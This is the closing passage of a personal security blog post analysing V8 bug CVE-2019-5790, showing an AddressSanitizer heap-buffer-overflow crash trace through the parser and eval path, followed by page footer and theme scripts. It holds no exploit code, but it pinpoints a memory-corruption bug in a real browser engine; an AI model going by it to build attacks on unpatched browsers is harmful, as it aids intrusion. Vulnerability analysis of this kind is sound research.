/home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:515:0 776 #16 0x7f4700530763 in v8::internal::Scanner::Next() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.cc:230:0 777 #17 0x7f470048b428 in v8::internal::ParserBase<v8::internal::Parser>::Consume(v8::internal::Token::Value) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:738:36 778 #18 0x7f470048b428 in v8::internal::ParserBase<v8::internal::Parser>::ParseVariableDeclarations(v8::internal::ParserBase<v8::internal::Parser>::VariableDeclarationContext, v8::internal::ParserBase<v8::internal::Parser>::DeclarationParsingResult*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:3418:0 779 #19 0x7f47003f7864 in v8::internal::ParserBase<v8::internal::Parser>::ParseVariableStatement(v8::internal::ParserBase<v8::internal::Parser>::VariableDeclarationContext, v8::internal::ZoneList<v8::internal::AstRawString const*>*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:4673:3 780 #20 0x7f47003d9be3 in v8::internal::ParserBase<v8::internal::Parser>::ParseStatementList(v8::internal::ScopedPtrList<v8::internal::Statement>*, v8::internal::Token::Value) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:4436:23 781 #21 0x7f47003d9be3 in v8::internal::Parser::DoParseProgram(v8::internal::Isolate*, v8::internal::ParseInfo*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser.cc:578:0 782 #22 0x7f47003d734a in v8::internal::Parser::ParseProgram(v8::internal::Isolate*, v8::internal::ParseInfo*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser.cc:497:29 783 #23 0x7f47004a20fc in v8::internal::parsing::ParseProgram(v8::internal::ParseInfo*, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parsing.cc:39:19
784 #24 0x7f46ff22ef73 in v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo*, v8::internal::Isolate*, v8::internal::IsCompiledScope*) /home/mtowalski/v8/v8/out/x64.release/../../src/compiler.cc:919:8 785 #25 0x7f46ff232517 in v8::internal::Compiler::GetFunctionFromEval(v8::internal::Handle<v8::internal::String>, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Handle<v8::internal::Context>, v8::internal::LanguageMode, v8::internal::ParseRestriction, int, int, int) /home/mtowalski/v8/v8/out/x64.release/../../src/compiler.cc:1393:10 786 #26 0x7f4700706007 in v8::internal::CompileGlobalEval(v8::internal::Isolate*, v8::internal::Handle<v8::internal::String>, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::LanguageMode, int, int) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:322:3 787 #27 0x7f4700706007 in v8::internal::__RT_impl_Runtime_ResolvePossiblyDirectEval(v8::internal::Arguments, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:353:0 788 #28 0x7f4700706007 in v8::internal::Runtime_ResolvePossiblyDirectEval(int, unsigned long*, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:331:0 789 #29 0x7f4701054bc5 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit ??:0:0 790 #30 0x7f47010956ce in Builtins_CallRuntimeHandler ??:0:0 791 #31 0x7f4700fb2bf6 in Builtins_InterpreterEntryTrampoline ??:0:0 792 #32 0x7f4700fb029f in Builtins_JSEntryTrampoline ??:0:0 793 #33 0x7f4700fb002c in Builtins_JSEntry ??:0:0 794 #34 0x7f46ffc09b90 in v8::internal::GeneratedCode<unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**>::Call(unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**) /home/mtowalski/v8/v8/out/x64.release/../../src/simulator.h:124:12 795 #35 0x7f46ffc09b90 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) /home/mtowalski/v8/v8/out/x64.release/../../src/execution.cc:293:0 796 #36 0x7f46ffc08ba4 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) /home/mtowalski/v8/v8/out/x64.release/../../src/execution.cc:369:10 797 #37 0x7f46feeca7e3 in v8::Script::Run(v8::Local<v8::Context>) /home/mtowalski/v8/v8/out/x64.release/../../src/api.cc:2135:7 798 #38 0x559891d68230 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::Value>, v8::Shell::PrintResult, v8::Shell::ReportExceptions, v8::Shell::ProcessMessageQueue) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:533:28 799 #39 0x559891d84f4b in v8::SourceGroup::Execute(v8::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:2466:10 800 #40 0x559891d8bfb3 in v8::Shell::RunMain(v8::Isolate*, int, char**, bool) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:2948:34 801 #41 0x559891d90ba6 in v8::Shell::Main(int, char**) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:3500:16 802 #42 0x7f46fc7082e0 in __libc_start_main ??:0:0 803 804SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/mtowalski/v8/v8/out/x64.release/d8+0x1274ad) 805Shadow bytes around the buggy address: 806 0x0c0c7fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 807 0x0c0c7fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 808 0x0c0c7fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 809 0x0c0c7fff8350: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 810 0x0c0c7fff8360: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa 811=>0x0c0c7fff8370: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa 812 0x0c0c7fff8380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 813 0x0c0c7fff8390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 814 0x0c0c7fff83a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 815 0x0c0c7fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 816 0x0c0c7fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 817Shadow byte legend (one shadow byte represents 8 application bytes): 818 Addressable: 00 819 Partially addressable: 01 02 03 04 05 06 07 820 Heap left redzone: fa 821 Freed heap region: fd 822 Stack left redzone: f1 823 Stack mid redzone: f2 824 Stack right redzone: f3 825 Stack after return: f5 826 Stack use after scope: f8 827 Global redzone: f9 828 Global init order: f6 829 Poisoned by user: f7 830 Container overflow: fc 831 Array cookie: ac 832 Intra object redzone: bb 833 ASan internal: fe
834 Left alloca redzone: ca 835 Right alloca redzone: cb 836 Shadow gap: cc 837==3074==ABORTING 838 839</pre></table></code></div></div></div><div class="post-tail-wrapper text-muted"><div class="post-meta mb-3"> <i class="far fa-folder-open fa-fw mr-1"></i> <a href='/categories/analysis/'>Analysis</a></div><div class="post-tags"> <i class="fa fa-tags fa-fw mr-1"></i> <a href="/tags/v8/" class="post-tag no-text-decoration" >v8</a> <a href="/tags/cve-2019-5790/" class="post-tag no-text-decoration" >CVE-2019-5790</a></div><div class="post-tail-bottom d-flex justify-content-between align-items-center mt-3 pt-5 pb-2"><div class="license-wrapper"> This post is licensed under <a href="https://creativecommons.org/licenses/by/4.0/"> CC BY 4.0 </a> by the author.</div><div class="share-wrapper"> <span class="share-label text-muted mr-1">Share</span> <span class="share-icons"> <a href="https://twitter.com/intent/tweet?text=V8 CVE-2019-5790 - Browser Research&url=https://mtowalski.github.io//posts/v8-CVE-2019-5790/" data-toggle="tooltip" data-placement="top" title="Twitter" target="_blank" rel="noopener" aria-label="Twitter"> <i class="fa-fw fab fa-twitter"></i> </a> <a href="https://www.facebook.com/sharer/sharer.php?title=V8 CVE-2019-5790 - Browser Research&u=https://mtowalski.github.io//posts/v8-CVE-2019-5790/" data-toggle="tooltip" data-placement="top" title="Facebook" target="_blank" rel="noopener" aria-label="Facebook"> <i class="fa-fw fab fa-facebook-square"></i> </a> <a href="https://telegram.me/share?text=V8 CVE-2019-5790 - Browser Research&url=https://mtowalski.github.io//posts/v8-CVE-2019-5790/" data-toggle="tooltip" data-placement="top" title="Telegram" target="_blank" rel="noopener" aria-label="Telegram"> <i class="fa-fw fab fa-telegram"></i> </a> <i class="fa-fw fas fa-link small" onclick="copyLink('', 'Link copied successfully!')" data-toggle="tooltip" data-placement="top" title="Copy link"> </i> </span></div></div></div></div></div><div id="panel-wrapper" class="col-xl-3 pl-2 text-muted topbar-down"><div class="access"><div id="access-lastmod" class="post"> <span>Recent Update</span><ul class="post-content pl-0 pb-1 ml-1 mt-2"><li><a href="/posts/v8-CVE-2019-5790/">V8 CVE-2019-5790</a></ul></div><div id="access-tags"> <span>Trending Tags</span><div class="d-flex flex-wrap mt-3 mb-1 mr-3"> <a class="post-tag" href="/tags/cve-2019-5790/">CVE-2019-5790</a> <a class="post-tag" href="/tags/v8/">v8</a></div></div></div>
839<script src="https://cdn.jsdelivr.net/gh/afeld/[email protected]/dist/bootstrap-toc.min.js"></script>
839<div id="toc-wrapper" class="pl-0 pr-4 mb-5"> <span class="pl-3 pt-2 mb-2">Contents</span><nav id="toc" data-toggle="toc"></nav></div></div></div><div class="row"><div class="col-12 col-lg-11 col-xl-8"><div id="post-extend-wrapper" class="pl-1 pr-1 pl-sm-2 pr-sm-2 pl-md-4 pr-md-4"><div class="post-navigation d-flex justify-content-between"> <span class="btn btn-outline-primary disabled" prompt="Older"><p>-</p></span> <span class="btn btn-outline-primary disabled" prompt="Newer"><p>-</p></span></div></div></div></div><footer class="d-flex w-100 justify-content-center"><div class="d-flex justify-content-between align-items-center"><div class="footer-left"><p class="mb-0"> © 2022 <a href="https://twitter.com/mtowalski1">Marcin Towalski</a>. <span data-toggle="tooltip" data-placement="top" title="Except where otherwise noted, the blog posts on this site are licensed under the Creative Commons Attribution 4.0 International (CC BY 4.0) License by the author.">Some rights reserved.</span></p></div><div class="footer-right"><p class="mb-0"> Powered by <a href="https://jekyllrb.com" target="_blank" rel="noopener">Jekyll</a> with <a href="https://github.com/cotes2020/jekyll-theme-chirpy" target="_blank" rel="noopener">Chirpy</a> theme.</p></div></div></footer></div><div id="search-result-wrapper" class="d-flex justify-content-center unloaded"><div class="col-12 col-sm-11 post-content"><div id="search-hints"><h4 class="text-muted mb-4">Trending Tags</h4><a class="post-tag" href="/tags/cve-2019-5790/">CVE 2019 5790</a> <a class="post-tag" href="/tags/v8/">v8</a></div><div id="search-results" class="d-flex flex-wrap justify-content-center text-muted mt-3"></div></div></div></div><div id="mask"></div><a id="back-to-top" href="#" aria-label="back-to-top" class="btn btn-lg btn-box-shadow" role="button"> <i class="fas fa-angle-up"></i> </a>
839<script src="https://cdn.jsdelivr.net/npm/[email protected]/dest/simple-jekyll-search.min.js"></script>
839
839<script> SimpleJekyllSearch({ searchInput: document.getElementById('search-input'), resultsContainer: document.getElementById('search-results'), json: '/assets/js/data/search.json', searchResultTemplate: '<div class="pl-1 pr-1 pl-sm-2 pr-sm-2 pl-lg-4 pr-lg-4 pl-xl-0 pr-xl-0"> <a href="https://mtowalski.github.io/{url}">{title}</a><div class="post-meta d-flex flex-column flex-sm-row text-muted mt-1 mb-1"> {categories} {tags}</div><p>{snippet}</p></div>', noResultsText: '<p class="mt-5">Oops! No result founds.</p>', templateMiddleware: function(prop, value, template) { if (prop === 'categories') { if (value === '') { return `${value}`; } else { return `<div class="mr-sm-4"><i class="far fa-folder fa-fw"></i>${value}</div>`; } } if (prop === 'tags') { if (value === '') { return `${value}`; } else { return `<div><i class="fa fa-tag fa-fw"></i>${value}</div>`; } } } }); </script>
839
839<script src="https://cdn.jsdelivr.net/combine/npm/lozad/dist/lozad.min.js,npm/magnific-popup@1/dist/jquery.magnific-popup.min.js"></script>
839
839<script defer src="/assets/js/dist/post.min.js"></script>
839
839<script src="https://cdn.jsdelivr.net/combine/npm/[email protected],npm/bootstrap@4/dist/js/bootstrap.min.js"></script>
839
839<script defer src="/app.js"></script>
839
839<script defer src="https://www.googletagmanager.com/gtag/js?id="></script>
839
839<script> document.addEventListener("DOMContentLoaded", function(event) { window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', ''); }); </script>
vendor: 1 bytes, line 839
839
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.